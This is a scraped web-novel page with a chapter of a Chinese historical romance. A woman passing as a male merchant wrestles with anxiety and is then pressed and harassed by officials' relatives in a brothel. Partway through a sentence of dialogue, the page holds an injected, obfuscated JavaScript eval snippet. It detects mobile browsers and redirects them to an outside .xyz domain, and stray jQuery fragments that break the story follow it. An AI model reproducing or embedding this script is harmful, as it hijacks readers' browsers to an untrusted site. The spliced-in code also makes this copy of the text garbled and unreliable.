默认冷灰
24号文字
方正启体

205. 灼身

作者:朝朝颂安本书字数:K更新时间:
    这几日生意好。


    因白栖枝在民间立下的美名,林家茶楼生意红火,其中官员往来,免不了要白栖枝亲自出面。


    可白栖枝到底是个女儿家,说出来的话总也委婉,很多事依她的身份放到明面上不好说,就只能假托他人。


    其实。


    白栖枝做到如今这个地位上来,她说什么、做什么,已完全不由他人来说。


    那些她受过恩惠的人如今恨不得把她当做菩萨来供,是她说的什么、做的什么,都自有她的道理在。


    哪怕只是一个微不足道的小动作,都会被人拿来品评夸耀一番,又何惧他人前来刁难?


    可白栖枝怕的就是这个——


    她是人。


    她不是神。


    面对众人的簇拥崇拜,她第一时间感到的不是自豪而是无措.


    就算不溯及过往,今时今日,她就算小心、小心、再小心,也难保自己每日来做的事步步都对。


    如今她举手投足间每一个动作都要被拿出来品评,她便就无时无刻地不害怕着。


    倘若她没有达到众人心中那个十全十美的白栖枝怎么办?


    倘若她无法做到众人眼里那个至纯至善的神明怎么办?


    倘若他们其中知道她杀过人怎么办?


    倘若……


    白栖枝不敢再想。


    她每天都翻来覆去地睡不着觉。


    躺在床上,闭上眼,脑子里就全是自己今日做过什么事?说过什么话?有没有什么半点错处?过去有没有说过什么错话?有没有做过什么不妥当的事?有没有没有达到众人期望的时候?


    这些事越想思虑越重,严重的时候,白栖枝整个人胃里都绞着疼。


    她蜷缩在床上,抱着被子,抱着自己为自己做的小枕头,忽地又觉得这样太幼稚,把枕头推到一边,抓着自己的衣裳,用拳头死死地抵着疼得阴冷的胃朊。


    这一阵痛楚很难捱过。


    先是单纯的痛,而后是翻江倒海的恶心。


    白栖枝好几次都觉得自己要吐出来了,可当她捂着口鼻速速跑到茅房躬身想要呕吐的时候,却发现自己除了口涎什么也吐不出来。


    来回折腾了三四次。


    她忍不住了,用手去抠自己的嗓子眼。


    可是这一次依旧是那样,除了口涎什么也吐不出来,跟个笑话一样。


    等白栖枝再回到房打算睡一会儿时,天已四更将近,走了困,东方亮出一抹鱼肚白来,只能又起身梳洗准备今日事宜。


    这种日子都不需要连上几天,光一日就够白栖枝喝一壶的了。


    她想了又想,这才告病静养负重,让“白胜宁”接替做事。


    虽然二者到底还是一个人,可少了那些紧盯她背后、如惶惶鬼火般的那注视,白栖枝实在是自在轻巧多了。


    她让自己成了个做了今日不想明日的性子,面对那些人体面的讨价还价,她也终于不用拐着弯说了。


    说到底当时还是还是怕。


    她是个女儿家,起冲突时未必能说的过人家,就算说的过,日后被使绊子,被逼到绝境的也只有她一人。


    在这个世道,女子太容易去死了。


    失了贞洁会死。


    被说传几句流言会死。


    与人起冲突还会去死。


    血仇未报,白栖枝还不想那么快就去见家人。


    只要能活着,她可以是女人,也可以是男人,甚至有时候也可以不是人。


    她想活,她想为自己这条贱命搏一搏!


    在变成白胜宁的这几日里,白栖枝也听过不少风言风语,但那些事儿到底是没由头的胡言,她也没当回事儿。


    直到——


    看着面前飘香四溢的醉红院,白栖枝狠狠吞了口口水。


    “哟,小白老板怎么看起来这么紧张?莫不是从没来过这地儿?这可是咱们男人放松的好地方,小白老板你一次都未来过,实在是太可惜了。”


    今是如同往日,被推着走到林听澜当初的位子上,白栖枝也不得不面对着林听澜当年所要面对的难题。


    如今这个跟她勾肩搭背,把她往醉红院里推的是户部侍郎的侄子,另一头说着荤话边说边笑的是转运使司的表弟,在往旁边的不是提举常平公事家的亲戚,就是都监、都总管外开不知几服的亲戚。


    都说一人得道鸡犬升天,家中有这么个当大官的亲戚,族谱里的人也自然跟着沾光。


    倘若白栖枝没看错的话,这里面还有人捏过她的屁股,在三、四年前。


    白栖枝被这几个官员子弟半推半搡地拥进醉红院,扑面而来的脂粉香气熏得她眼前发晕。


    白栖枝不想进到这里。


    但她是商贾。


    商贾命贱,她没有拒绝的权利。


    几人将一锭金子扔给满脸堆笑的老鸨,顺着她那一迭声的“贵客临门”,熟门熟路地上了二楼,还没等白栖枝看清房内陈设,一群莺莺燕燕便如同被投入鱼食的鲤鱼一样,花团锦簇地簇拥进来。


    龟奴早已备好酒席。


    厢房内,几人躺在榻上,像饱吸了□□的烟鬼,软塌塌的身子里各抱着几个姑娘,一边品尝着着姑娘们递来的美酒,一边吃着姑娘们剥好的葡萄,时不时地还要抽出手掐一把姑娘丰腴爆满的臀肉,惹得对方娇呼一声,这才没皮没脸地哈哈大笑。


    白栖枝清清白白地坐在一众姑娘之间。


    有姑娘递了剥好皮的葡萄,葱白的指尖溢满了淋漓的汁水,烛火透过茜纱灯罩,竟将气氛映得越发暧昧不可言说。


    “小白老板,别绷着脸啊。”户部侍郎的侄子王焕一把揽过白栖枝的肩,将溢满的酒杯硬塞到她手中,自己则仰头灌下一大口,“这醉红院的海棠春,可多少人都求之不得的!你尝尝,比你们林家茶楼里的破叶子水可强多了!”


    有酒水顺着他的下巴滴到衣襟上,白栖枝有些嫌弃,不可察耸了耸肩。旁边转运使司的表弟李三郎却早已搂着个穿杏红纱衣的姑娘,用手揉着,闻言嗤笑道:“人家小白老板是清高人,哪像咱们这些俗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158008|157766||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    物天天混吃等死?你呀,也别笑话人家了!”


    王焕也笑道:“清高人?你怕是不知道,这醉红院破的就是清高人!再清高的男人,到了这儿也得现原形!”说到这儿,他抬脚,往蹲在白栖枝面前侍奉的姑娘屁股上狠狠一踹,调笑道,“看见没有?小白老板嫌你不够可心呢!还不好好伺候人家?”


    那姑娘被踢了一个踉跄,手中酒水晃荡,差点泼到白栖枝身上。


    她僵着身子赔笑,眼底却闪过一丝厌烦,随即再将身子贴近,用甜腻的嗓音娇嗔道:“小白老板,敲敲,都怪您,惹得奴家被王公子笑话了,您可得好好疼奴家才成。”


    当酒被喂到嘴边时,白栖枝几乎是下意识地、有些慌乱地偏头躲开。


    “不、不必了。”她说,“在下不胜酒力,恐唐突了姑娘,姑娘快请起来。”


    此话一出,厢房内又是一阵哄笑。


    首当其冲的便是李二郎。


    听她这话,他揽在白栖枝肩头的胳膊是紧了又紧,笑得几乎出了泪,立即起哄道:“小白老板莫不是个雏儿?怎么连姑娘的手都不敢摸?”


    旁边人也调笑道:“小白老板,到了这儿,就得放开些!姑娘们,加把劲儿,让咱们小白老板见识见识醉红院的手段!”


    那被踢一脚的姑娘也嗤嗤一笑,更加大胆,柔软的手臂直接环上了白栖枝的腿,声音甜得发腻:“小白老板这般不怜香惜玉,是嫌奴家不够美么?还是……”说到这儿,她意味深长地笑了两声,越发得寸进尺地询问道,“还是心里住着个姑娘,装着些许心事呀?”


    白栖枝捏着酒杯的手指发白。


    她赶紧一收,却反倒惹来姑娘一阵调笑:“哎呦,小白老板夹得这么紧做什么?莫不是怕奴家摸到了您的宝贝?您快松手,烟儿可不敢摸了,不然烟儿的这一双手都要被您夹掉了。哈哈哈……”


    耳畔是姑娘们刻意拉长的甜腻劝酒声,混着男人们粗鄙的调笑声,白栖枝垂眼盯着酒面浮动的模糊倒影——那是她自己的眼,杏儿一样,黑白分明。


    忽地,另一双眼也闯了进来。


    “小白老板怎么如此拘束?莫非是嫌弃咱们?”王焕羽然凑近,炙热的酒气喷在她耳根,像是一团火黏腻皮肤上,烧得白栖枝玉瓷般的肌肤一片绯红。


    只听他尾音陡然压低,右手举着酒盏,左手却已按上白栖枝的后颈,力道大得像是钳制。


    半晌,才又意味深长道:“还是说,小白老板也如传闻所言,与林府中被金屋藏娇的那位一样,有龙阳之好、断袖之癖?”


    最后八个字,他说得一个字比一个字轻,带着几分意犹未尽的舒坦,像是一头不知餍足的蛇,静静地绕到她的颈后,挑逗地吐着蛇信子,观赏着,该从哪处下口,才能将她尽数吞噬。


    白栖枝喉头一滚。


    眼前这杯酒,手中这杯酒,和那位姑娘递上的那杯酒。


    三杯酒交相呼应,烛光下泛着琥珀色的微光,如同三把悬顶之剑,寒光凛冽。


    亟待她立下抉择。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)